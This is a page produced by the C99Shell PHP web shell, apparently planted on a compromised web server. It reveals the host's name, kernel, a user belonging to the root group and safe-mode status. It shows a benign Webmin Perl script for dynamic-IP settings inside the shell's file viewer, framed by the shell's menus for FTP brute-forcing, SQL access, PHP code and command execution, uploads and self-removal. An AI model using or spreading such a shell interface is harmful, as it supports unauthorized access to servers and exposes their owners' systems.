!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/webmin/virtual-server/   drwxrwxr-x
Free 28.64 GB of 117.98 GB (24.27%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     save_newdynip.cgi (1.64 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Update dynamic IP settings

require './virtual-server-lib.pl';
&error_setup($text{'newdynip_err'});
&ReadParse();
&can_edit_templates() || &error($text{'newdynip_ecannot'});

# Validate inputs
if ($in{'enabled'}) {
    $in{'host'} =~ /^[a-z0-9\.\-\_]+$/ || &error($text{'newdynip_ehost'});
    $in{'email_def'} || $in{'email'} =~ /\S/ ||
        &error($text{'newdynip_eemail'});
    }

# Save them
&lock_file($module_config_file);
$config{'dynip_service'} = $in{'service'};
if ($in{'service'} eq 'external') {
    $in{'external'} =~ /^\// || &error($text{'newdynip_eexternal'});
    }
$config{'dynip_external'} = $in{'external'};
$config{'dynip_host'} = $in{'host'};
$config{'dynip_auto'} = $in{'auto'};
$config{'dynip_user'} = $in{'duser'};
$config{'dynip_pass'} = $in{'dpass'};
$config{'dynip_email'} = $in{'email_def'} ? undef : $in{'email'};
&save_module_config();
&unlock_file($module_config_file);
$job = &find_cron_script($dynip_cron_cmd);
if ($in{'enabled'} && !$job) {
    # Need to create
    $job = { 'command' => $dynip_cron_cmd,
         'user' => 'root',
         'mins' => '0,5,10,15,20,25,30,35,40,45,50,55',
         'hours' => '*',
         'days' => '*',
         'months' => '*',
         'weekdays' => '*',
         'active' => 1 };
    &setup_cron_script($job);
    }
elsif (!$in{'enabled'} && $job) {
    # Need to delete
    &delete_cron_script($job);
    }
&webmin_log("dynip");

# Tell the user
&ui_print_header(undef, $text{'newdynip_title'}, "");

if ($in{'enabled'}) {
    $ip = $in{'auto'} ? &get_external_ip_address() : &get_default_ip();
    print &text('newdynip_on', "<tt>$ip</tt>"),"<p>\n";
    }
else {
    print $text{'newdynip_off'},"<p>\n";
    }

&run_post_actions();

&ui_print_footer("", $text{'index_return'});


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--